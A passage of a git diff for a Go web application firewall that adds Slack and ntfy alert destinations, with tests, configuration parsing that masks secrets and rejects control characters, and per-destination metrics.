TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + params.WebhookURL = nil + standIns, q := startAll(t, params) + waiting := func(reason string) alerts.Alert { + return alerts.Alert{ + Instance: instance, Time: midnight(), Event: alerts.EventFileError, + Reason: reason, + } + } + + // As read from alerts.json. The alert waiting for the webhook, which + // is not set, is dropped. + q.Load(roundTrip(t, alerts.State{Waiting: map[string][]alerts.Alert{ + alerts.DestinationWebhook: {waiting("first")}, + alerts.DestinationSlack: {waiting("second"), waiting("third")}, + alerts.DestinationNtfy: {waiting("fourth")}, + }})) + synctest.Wait() + + wantBodies(t, standIns[alerts.DestinationSlack], + `{"text":"*fsn1app1/gitea: file_error*\nsecond"}`, + `{"text":"*fsn1app1/gitea: file_error*\nthird"}`) + wantBodies(t, standIns[alerts.DestinationNtfy], "fourth") + + // alerts.json then lists Slack and ntfy alone, with no alert waiting. + want := map[string][]alerts.Alert{ + alerts.DestinationSlack: {}, alerts.DestinationNtfy: {}, + } + if got := q.Snapshot().Waiting; !reflect.DeepEqual(got, want) { + t.Errorf("alerts waiting %v, want %v", got, want) + } + }) +} + +// How a stand-in for a destination answers: with a status, or, hanging, // not at all, until the request is abandoned. const ( answering = http.StatusNoContent @@ -636,7 +926,7 @@ const ( hanging = 0 ) -// standIn is a stand-in for the webhook. It notes each request it is +// standIn is a stand-in for a destination. It notes each request it is // sent. type standIn struct { mu sync.Mutex @@ -644,14 +934,16 @@ type standIn struct { requests []post } -// post is a request the webhook was sent: when, its method, URL and -// headers, the alert it carried, and whether the webhook answered it with -// a 2xx status. +// post is a request a destination was sent: when, its method, URL and +// headers, its body, and that body read as a JSON object, which for the +// webhook is the alert it carried, and whether the destination answered +// it with a 2xx status. type post struct { at time.Time method string url string header http.Header + body string alert map[string]any answered bool } @@ -685,7 +977,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) { answers := s.answers s.requests = append(s.requests, post{ at: time.Now(), method: r.Method, url: r.URL.String(), header: r.Header.Clone(), - alert: alert, answered: answers == answering, + body: string(body), alert: alert, answered: answers == answering, }) s.mu.Unlock() @@ -739,13 +1031,8 @@ func (b *lockedBuffer) String() string { // every event, the default cooldown and hourly limit, and the bubble's // clock in UTC. func newParams() alerts.Params { - webhook, err := url.Parse(webhookURL) - if err != nil { - panic(err) - } - return alerts.Params{ - WebhookURL: webhook, + WebhookURL: parseURL(webhookURL), Events: alerts.Events(), Cooldown: cooldown, MaxPerHour: 60, @@ -755,14 +1042,48 @@ func newParams() alerts.Params { } } +// withSlackAndNtfy returns params with Slack at slackURL and ntfy at +// ntfyURL set as well. +func withSlackAndNtfy(params alerts.Params) alerts.Params { + params.SlackURL = parseURL(slackURL) + params.NtfyURL = parseURL(ntfyURL) + + return params +} + +// parseURL returns rawURL, parsed. +func parseURL(rawURL string) *url.URL { + parsed, err := url.Parse(rawURL) + if err != nil { + panic(err) + } + + return parsed +} + // start returns a stand-in for the webhook that answers, and a Queue that // sends to it, run until the test ends. func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) { t.Helper() - webhook := &standIn{answers: answering} + standIns, q := startAll(t, params) + + return standIns[alerts.DestinationWebhook], q +} + +// startAll returns, by destination, a stand-in that answers for each +// destination params sets, and a Queue that sends to them, run until the +// test ends. +func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) { + t.Helper() + q := alerts.New(params) - q.SetTransport(webhook) + standIns := map[string]*standIn{} + + for _, destination := range q.DestinationsSet() { + standIns[destination] = &standIn{answers: answering} + q.SetTransport(destination, standIns[destination]) + } ctx, stop := context.WithCancel(t.Context()) stopped := make(chan struct{}) @@ -777,7 +1098,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) { <-stopped }) - return webhook, q + return standIns, q } // midnight is when each test starts. @@ -836,17 +1157,158 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) { } } -// wantCounts checks the alerts q counts as sent, the requests it counts as -// failed, and the alerts it counts as held back and as dropped. +// wantCounts checks the alerts q counts as sent to the webhook, the +// requests to it that it counts as failed, the alerts it counts as held +// back, and those it counts as dropped for the webhook. func wantCounts( t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64, ) { t.Helper() - if q.Sent() != sent || q.Failed() != failed || q.Suppressed() != suppressed || - q.Dropped() != dropped { - t.Errorf("counts sent %d, failed %d, suppressed %d and dropped %d, "+ - "want %d, %d, %d and %d", q.Sent(), q.Failed(), q.Suppressed(), q.Dropped(), - sent, failed, suppressed, dropped) + wantDestinationCounts(t, q, alerts.DestinationWebhook, + alerts.Counts{Sent: sent, Failed: failed, Dropped: dropped}) + + if q.Suppressed() != suppressed { + t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) + } +} + +// wantDestinationCounts checks q's counts for destination. +func wantDestinationCounts( + t *testing.T, q *alerts.Queue, destination string, want alerts.Counts, +) { + t.Helper() + + if got := q.Counts(destination); got != want { + t.Errorf("%s counts %+v, want %+v", destination, got, want) + } +} + +// eventMessage is an alert, and the message Slack and ntfy are sent for +// it: its title, the priority and the tag ntfy is sent, with a space +// between them, and its text. +type eventMessage struct { + alert alerts.Alert + title, priorityAndTag, text string +} + +// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS +// names, the first in observe mode, each with its message. +func anAlertForEachEvent() []eventMessage { + return []eventMessage{ + { + alerts.Alert{ + Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), + Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE", + Reason: "requests per hour over the limit of 10000", + Detail: map[string]any{"mode": "observe"}, + }, + "fsn1app1/gitea: ban", "default no_entry", + "requests per hour over the limit of 10000\nclient: 203.0.113.9\n" + + "netblock: 203.0.113.0/24\ncountry: DE\nmode: observe", + }, + { + alerts.Alert{ + Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), + Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR", + Reason: "matched the rule env-file", + }, + "fsn1app1/gitea: permanent_ban", "high no_entry", + "matched the rule env-file\nclient: 198.51.100.7\n" + + "netblock: 198.51.100.7/32\ncountry: FR", + }, + { + alerts.Alert{ + Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"), + Netblock: netip.MustParsePrefix("192.0.2.1/32"), + Reason: "refused by the Core Rule Set", + }, + "fsn1app1/gitea: waf_block", "default shield", + "refused by the Core Rule Set\nclient: 192.0.2.1\nnetblock: 192.0.2.1/32", + }, + { + alerts.Alert{ + Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"), + Reason: "requests per minute over the threshold of 5000", + }, + "fsn1app1/gitea: anomaly", "high chart_with_upwards_trend", + "requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24", + }, + { + alerts.Alert{ + Event: alerts.EventReputationHit, Client: netip.MustParseAddr("192.0.2.2"), + Netblock: netip.MustParsePrefix("192.0.2.2/32"), + Reason: "listed by a DNS blocklist", + }, + "fsn1app1/gitea: reputation_hit", "low label", + "listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32", + }, + { + alerts.Alert{ + Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", + Detail: map[string]any{"source": "geojs"}, + }, + "fsn1app1/gitea: source_failure", "high warning", + "asking GeoJS failed\nsource: geojs", + }, + { + alerts.Alert{ + Event: alerts.EventFileError, + Reason: "a rule file has an error, and the rules stay as they were", + Detail: map[string]any{ + "file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action", + }, + }, + "fsn1app1/gitea: file_error", "high warning", + "a rule file has an error, and the rules stay as they were\n" + + "file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action", + }, + } +} + +// wantSlackMessage checks that request, one Slack was sent, posted the +// message text, as JSON. +func wantSlackMessage(t *testing.T, request post, text string) { + t.Helper() + + if request.method != http.MethodPost || request.url != slackURL || + request.header.Get("Content-Type") != "application/json" || + !reflect.DeepEqual(request.alert, map[string]any{"text": text}) { + t.Errorf("Slack was sent %s %s, Content-Type %q, %s, want POST %s, "+ + "application/json, the text %q", request.method, request.url, + request.header.Get("Content-Type"), request.body, slackURL, text) + } +} + +// wantNtfyMessage checks that request, one ntfy was sent, posted the +// message text with the title, and with the priority and the tag +// priorityAndTag gives, with a space between them. +func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) { + t.Helper() + + got := []string{ + request.method, request.url, request.header.Get("Title"), + request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body, + } + + want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} + if !slices.Equal(got, want) { + t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+ + "%q, want %q", got, want) + } +} + +// wantBodies checks the bodies of the requests the stand-in was sent, in +// order. +func wantBodies(t *testing.T, s *standIn, want ...string) { + t.Helper() + + got := make([]string, 0, len(want)) + for _, request := range s.received() { + got = append(got, request.body) + } + + if !slices.Equal(got, want) { + t.Errorf("bodies %q, want %q", got, want) } } diff --git a/internal/alerts/export_test.go b/internal/alerts/export_test.go index 37309dd..3e7aec5 100644 --- a/internal/alerts/export_test.go +++ b/internal/alerts/export_test.go @@ -2,11 +2,15 @@ package alerts import "net/http" -// QueueSize is the most alerts that wait to be sent. +// QueueSize is the most alerts that wait to be sent to a destination. const QueueSize = queueSize -// SetTransport has q's requests to the webhook go through transport -// instead of the network. -func (q *Queue) SetTransport(transport http.RoundTripper) { - q.httpClient.Transport = transport +// SetTransport has q's requests to the destination name go through +// transport instead of the network. +func (q *Queue) SetTransport(name string, transport http.RoundTripper) { + for _, d := range q.destinations { + if d.name == name { + d.httpClient.Transport = transport + } + } } diff --git a/internal/config/config.go b/internal/config/config.go index 063b593..1f4e59e 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -20,6 +20,7 @@ import ( "strconv" "strings" "time" + "unicode" "unicode/utf8" "sneak.berlin/go/smallwebwaf/internal/alerts" @@ -160,18 +161,26 @@ type Config struct { LogRemoteFacility int LogRemoteAppName string // AlertWebhookURL is where each alert is posted as JSON - // (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset and no alert is - // sent. AlertWebhookHeaders are sent with each - // (SWWAF_ALERT_WEBHOOK_HEADERS). AlertEvents are the events alerts are - // sent for (SWWAF_ALERT_EVENTS). A repeat of an alert within - // AlertCooldown is held back (SWWAF_ALERT_COOLDOWN), and so is an alert - // past AlertMaxPerHour in an hour, for the hour's summary - // (SWWAF_ALERT_MAX_PER_HOUR); 0 is off for both. - AlertWebhookURL *url.URL - AlertWebhookHeaders http.Header - AlertEvents []string - AlertCooldown time.Duration - AlertMaxPerHour int + // (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders + // are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS). + // AlertSlackWebhookURL is the Slack incoming webhook each alert is + // posted to as a message (SWWAF_ALERT_SLACK_WEBHOOK_URL), and + // AlertNtfyURL the ntfy topic each is published to + // (SWWAF_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken, + // unless empty, is sent to ntfy with each (SWWAF_ALERT_NTFY_TOKEN). + // With none of the three URLs set, no alert is sent. AlertEvents are + // the events alerts are sent for (SWWAF_ALERT_EVENTS). A repeat of an + // alert within AlertCooldown is held back (SWWAF_ALERT_COOLDOWN), and + // so is an alert past AlertMaxPerHour in an hour, for the hour's + // summary (SWWAF_ALERT_MAX_PER_HOUR); 0 is off for both. + AlertWebhookURL *url.URL + AlertWebhookHeaders http.Header + AlertSlackWebhookURL *url.URL + AlertNtfyURL *url.URL + AlertNtfyToken string + AlertEvents []string + AlertCooldown time.Duration + AlertMaxPerHour int // settings are the values read, as given or by default, and the // files they were read from, for the log line at start. @@ -252,6 +261,8 @@ var ( errNotWebhookHeader = errors.New( "is not a header name followed by : and the header's value, " + "such as Authorization:Bearer ") + errControlCharacter = errors.New( + "holds a control character, such as the carriage return of a Windows line end") errNotAlertEvent = errors.New( "is not ban, permanent_ban, waf_block, anomaly, reputation_hit, " + "source_failure or file_error") @@ -303,17 +314,20 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range"), - AdminToken: env.token("SWWAF_ADMIN_TOKEN"), - MetricsToken: env.token("SWWAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), - RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), - RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), - LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), - LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), - LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), - LogRemoteFacility: env.facility("SWWAF_LOG_REMOTE_FACILITY", "local0"), - AlertWebhookURL: env.webhookURL("SWWAF_ALERT_WEBHOOK_URL"), - AlertWebhookHeaders: env.webhookHeaders("SWWAF_ALERT_WEBHOOK_HEADERS"), + AdminToken: env.token("SWWAF_ADMIN_TOKEN"), + MetricsToken: env.token("SWWAF_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), + RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), + RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), + LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), + LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), + LogRemoteFacility: env.facility("SWWAF_LOG_REMOTE_FACILITY", "local0"), + AlertWebhookURL: env.webhookURL("SWWAF_ALERT_WEBHOOK_URL"), + AlertWebhookHeaders: env.webhookHeaders("SWWAF_ALERT_WEBHOOK_HEADERS"), + AlertSlackWebhookURL: env.webhookURL("SWWAF_ALERT_SLACK_WEBHOOK_URL"), + AlertNtfyURL: env.webhookURL("SWWAF_ALERT_NTFY_URL"), + AlertNtfyToken: env.secret("SWWAF_ALERT_NTFY_TOKEN"), AlertEvents: env.alertEvents("SWWAF_ALERT_EVENTS", strings.Join(alerts.Events(), ",")), AlertCooldown: env.duration("SWWAF_ALERT_COOLDOWN", "15m"), @@ -323,6 +337,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { cfg.LogRemoteAppName = env.appName("SWWAF_LOG_REMOTE_APP_NAME", cfg.InstanceName, cfg.LogRemoteURL != nil) + env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) + for _, country := range cfg.ExclusivelyAllowedCountries { if slices.Contains(cfg.DeniedCountries, country) { env.check("SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", @@ -667,10 +683,23 @@ func (e *environment) appName(name, instanceName string, sending bool) string { return value } -// webhookURL reads the setting that is where each alert is posted. Unset -// or empty, it is nil, and no alert is sent. The log shows ******** in -// place of its path and query, and an error shows none of it, since many -// webhooks carry their secret there. +// checkInstanceNameForNtfy refuses an instance name that holds a control +// character while ntfySet, SWWAF_ALERT_NTFY_URL being set: ntfy is sent +// the instance name in a header, which cannot hold one. +func (e *environment) checkInstanceNameForNtfy(instanceName string, ntfySet bool) { + if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) { + e.check("SWWAF_INSTANCE_NAME", fmt.Errorf( + "%q %w, and is sent to ntfy in a header while SWWAF_ALERT_NTFY_URL is set", + instanceName, errControlCharacter)) + } +} + +// webhookURL reads a setting that is a URL each alert is posted to: +// SWWAF_ALERT_WEBHOOK_URL, SWWAF_ALERT_SLACK_WEBHOOK_URL or +// SWWAF_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted +// there. The log shows ******** in place of its path and query, and an +// error shows none of it, since a webhook or an ntfy topic can carry its +// secret there. func (e *environment) webhookURL(name string) *url.URL { value, _ := e.lookup(name) webhook, logged, err := parseWebhookURL(value) @@ -692,6 +721,28 @@ func (e *environment) webhookHeaders(name string) http.Header { return headers } +// secret reads a setting that is a secret another service gave, such as +// an ntfy token, "" while it is unset. It is sent in a header, which +// cannot hold a control character, so one in it is an error. The log +// shows ******** in place of a value that is not empty, and an error +// shows none of it. +func (e *environment) secret(name string) string { + value, _ := e.lookup(name) + + logged := "" + if value != "" { + logged = masked + } + + e.settings = append(e.settings, slog.String(name, logged)) + + if strings.ContainsFunc(value, unicode.IsControl) { + e.check(name, errControlCharacter) + } + + return value +} + // alertEvents reads the setting that is the events alerts are sent for. func (e *environment) alertEvents(name, defaultValue string) []string { events, err := parseAlertEvents(e.value(name, defaultValue)) diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 24a7577..f1df225 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -66,6 +66,9 @@ const ( logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME" alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL" alertWebhookHeaders = "SWWAF_ALERT_WEBHOOK_HEADERS" + alertSlackWebhookURL = "SWWAF_ALERT_SLACK_WEBHOOK_URL" + alertNtfyURL = "SWWAF_ALERT_NTFY_URL" + alertNtfyToken = "SWWAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name alertEvents = "SWWAF_ALERT_EVENTS" alertCooldown = "SWWAF_ALERT_COOLDOWN" alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" @@ -498,44 +501,65 @@ func TestAlertSettingsDefaults(t *testing.T) { cfg := fromEnvironment(t, environment{}) if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 || + cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil || + cfg.AlertNtfyToken != "" || strings.Join(cfg.AlertEvents, ",") != defaultAlertEvents || cfg.AlertCooldown != 15*time.Minute || cfg.AlertMaxPerHour != 60 { - t.Errorf("alert settings %v, %v, %v, %s and %d, want no URL, no headers, "+ - "%s, 15m and 60", cfg.AlertWebhookURL, cfg.AlertWebhookHeaders, - cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour, defaultAlertEvents) + t.Errorf("alert settings %v, %v, %v, %v, %q, %v, %s and %d, want no URLs, "+ + "no headers, no token, %s, 15m and 60", cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, + cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour, + defaultAlertEvents) } } func TestAlertSettingsAsSet(t *testing.T) { t.Parallel() - const webhook = "https://alerts.example:8443/hooks/waf?team=ops" + const ( + webhook = "https://alerts.example:8443/hooks/waf?team=ops" + slack = "https://hooks.slack.example/services/T0123/B4567/abcdef" + ntfy = "https://ntfy.example/smallwebwaf-alerts" + token = "tk_0123456789abcdefghijklmnopq" + ) cfg := fromEnvironment(t, environment{ - alertWebhookURL: webhook, - alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops", - alertEvents: "ban, file_error", - alertCooldown: "1h", - alertMaxPerHour: "10", + alertWebhookURL: webhook, + alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops", + alertSlackWebhookURL: slack, + alertNtfyURL: ntfy, + alertNtfyToken: token, + alertEvents: "ban, file_error", + alertCooldown: "1h", + alertMaxPerHour: "10", }) headers := http.Header{"Authorization": {"Bearer abc:def"}, "X-Team": {"ops"}} if cfg.AlertWebhookURL.String() != webhook || !reflect.DeepEqual(cfg.AlertWebhookHeaders, headers) || + cfg.AlertSlackWebhookURL.String() != slack || cfg.AlertNtfyURL.String() != ntfy || + cfg.AlertNtfyToken != token || !slices.Equal(cfg.AlertEvents, []string{"ban", "file_error"}) || cfg.AlertCooldown != time.Hour || cfg.AlertMaxPerHour != 10 { - t.Errorf("alert settings %v, %v, %v, %s and %d", cfg.AlertWebhookURL, - cfg.AlertWebhookHeaders, cfg.AlertEvents, cfg.AlertCooldown, - cfg.AlertMaxPerHour) + t.Errorf("alert settings %v, %v, %v, %v, %q, %v, %s and %d", cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, + cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) } +} - cfg = fromEnvironment(t, environment{ - alertWebhookURL: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off, +func TestAlertSettingsSetEmptyOrOff(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "", + alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off, }) - if cfg.AlertWebhookURL != nil || len(cfg.AlertEvents) != 0 || - cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { - t.Errorf("set empty or off, alert settings %v, %v, %s and %d", - cfg.AlertWebhookURL, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) + if cfg.AlertWebhookURL != nil || cfg.AlertSlackWebhookURL != nil || + cfg.AlertNtfyURL != nil || cfg.AlertNtfyToken != "" || + len(cfg.AlertEvents) != 0 || cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { + t.Errorf("set empty or off, alert settings %v, %v, %v, %q, %v, %s and %d", + cfg.AlertWebhookURL, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, + cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) } } @@ -550,6 +574,10 @@ func TestInvalidAlertSettingStopsTheStart(t *testing.T) { {alertWebhookURL, "https://alerts.example/#top"}, {alertWebhookURL, "https://alerts.example:0/"}, {alertWebhookURL, "https://alerts.example:65536/"}, + {alertSlackWebhookURL, "hooks.slack.example/services/T0123"}, + {alertSlackWebhookURL, "https://user:password@hooks.slack.example/"}, + {alertNtfyURL, "ntfy://ntfy.example/smallwebwaf-alerts"}, + {alertNtfyURL, "https://ntfy.example/smallwebwaf-alerts#top"}, {alertWebhookHeaders, "Authorization"}, {alertWebhookHeaders, "X Team:ops"}, {alertWebhookHeaders, ":ops"}, @@ -636,6 +664,79 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { } } +func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) { + t.Parallel() + + const token = "tk_0123456789abcdefghijklmnopq" + + cfg := fromEnvironment(t, environment{ + alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef", + alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts", + alertNtfyToken: token, + }) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + logged := out.String() + for _, want := range []string{ + `"` + alertSlackWebhookURL + `":"https://hooks.slack.example/********"`, + `"` + alertNtfyURL + `":"https://ntfy.example/********"`, + `"` + alertNtfyToken + `":"********"`, + } { + if !strings.Contains(logged, want) { + t.Errorf("no %s in the settings logged: %s", want, logged) + } + } + + for _, secret := range []string{"T0123", "smallwebwaf-alerts", token} { + if strings.Contains(logged, secret) { + t.Errorf("%s in the settings logged: %s", secret, logged) + } + } +} + +func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing.T) { + t.Parallel() + + // A file saved with Windows line ends keeps the carriage return. + for name, env := range map[string]environment{ + "set": {alertNtfyToken: token + "\r"}, + "in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")}, + } { + _, err := config.FromEnvironment(env.lookupEnv) + + want := alertNtfyToken + ": holds a control character, such as the " + + "carriage return of a Windows line end" + if err == nil || err.Error() != want { + t.Errorf("%s: error %v, want %s", name, err, want) + } + } +} + +func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testing.T) { + t.Parallel() + + const name = "fsn1app1\r" + + _, err := config.FromEnvironment(environment{ + instanceName: name, alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts", + }.lookupEnv) + + want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` + + `carriage return of a Windows line end, and is sent to ntfy in a header ` + + `while ` + alertNtfyURL + ` is set` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + cfg := fromEnvironment(t, environment{instanceName: name}) + if cfg.InstanceName != name { + t.Errorf("not sending to ntfy, %s is %q", instanceName, cfg.InstanceName) + } +} + func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { t.Parallel() @@ -1087,6 +1188,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { logRemoteAppName: hostname, alertWebhookURL: "", alertWebhookHeaders: "", + alertSlackWebhookURL: "", + alertNtfyURL: "", + alertNtfyToken: "", alertEvents: defaultAlertEvents, alertCooldown: defaultAlertCooldown, alertMaxPerHour: "60", diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index c176b00..8f24cc6 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -243,7 +243,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) { wantCountry(t, g, clients(), "") wantRequests(t, geojs, 2) - waiting := queue.Snapshot().Waiting + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || !reflect.DeepEqual(waiting[0], want) { t.Errorf("alerts waiting %+v, want only %+v", waiting, want) } diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 026d8a7..410f1f2 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -226,45 +226,48 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { ) } -// AddAlerts adds the metrics of the alerts sent to -// SWWAF_ALERT_WEBHOOK_URL, read from queue as the metrics are asked for, -// with the destination webhook: the alerts sent, the requests to the -// webhook that failed, and the alerts held back and dropped. +// AddAlerts adds the metrics of the alerts sent to each destination set, +// read from queue as the metrics are asked for, by destination: the +// alerts sent, the requests to the destination that failed, the alerts +// held back, which are the same for every destination, and those +// dropped. With no destination set, it adds none. func (m *Metrics) AddAlerts(queue *alerts.Queue) { - webhook := prometheus.Labels{"destination": "webhook"} + for _, name := range queue.DestinationsSet() { + destination := prometheus.Labels{"destination": name} - m.registry.MustRegister( - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_alerts_sent_total", - Help: "Alerts the destination took.", - ConstLabels: webhook, - }, func() float64 { - return float64(queue.Sent()) - }), - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_alerts_failed_total", - Help: "Requests to the destination that failed.", - ConstLabels: webhook, - }, func() float64 { - return float64(queue.Failed()) - }), - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_alerts_suppressed_total", - Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " + - "alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.", - ConstLabels: webhook, - }, func() float64 { - return float64(queue.Suppressed()) - }), - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_alerts_dropped_total", - Help: "Alerts dropped, the oldest first, from a full queue, and alerts " + - "given up as the destination refused them.", - ConstLabels: webhook, - }, func() float64 { - return float64(queue.Dropped()) - }), - ) + m.registry.MustRegister( + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_sent_total", + Help: "Alerts the destination took.", + ConstLabels: destination, + }, func() float64 { + return float64(queue.Counts(name).Sent) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_failed_total", + Help: "Requests to the destination that failed.", + ConstLabels: destination, + }, func() float64 { + return float64(queue.Counts(name).Failed) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_suppressed_total", + Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " + + "alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.", + ConstLabels: destination, + }, func() float64 { + return float64(queue.Suppressed()) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_dropped_total", + Help: "Alerts dropped, the oldest first, from a full queue, and " + + "alerts given up as the destination refused them.", + ConstLabels: destination, + }, func() float64 { + return float64(queue.Counts(name).Dropped) + }), + ) + } } // ServeHTTP answers with the metrics in the Prometheus text format. diff --git a/internal/proxy/alerts_test.go b/internal/proxy/alerts_test.go index 92845b0..18e7124 100644 --- a/internal/proxy/alerts_test.go +++ b/internal/proxy/alerts_test.go @@ -124,7 +124,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { "for the attack alone, as it was", held, line.BanExpires) } - waiting := queue.Snapshot().Waiting + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 3 || queue.Suppressed() != 0 { t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v", len(waiting), queue.Suppressed(), waiting) @@ -189,7 +189,8 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) { // Had the ban been worked out for any of the requests within the // cooldown or past the two an hour, its alert would have been raised, // held back and counted. - if waiting := queue.Snapshot().Waiting; len(waiting) != 2 || queue.Suppressed() != 0 { + waiting := 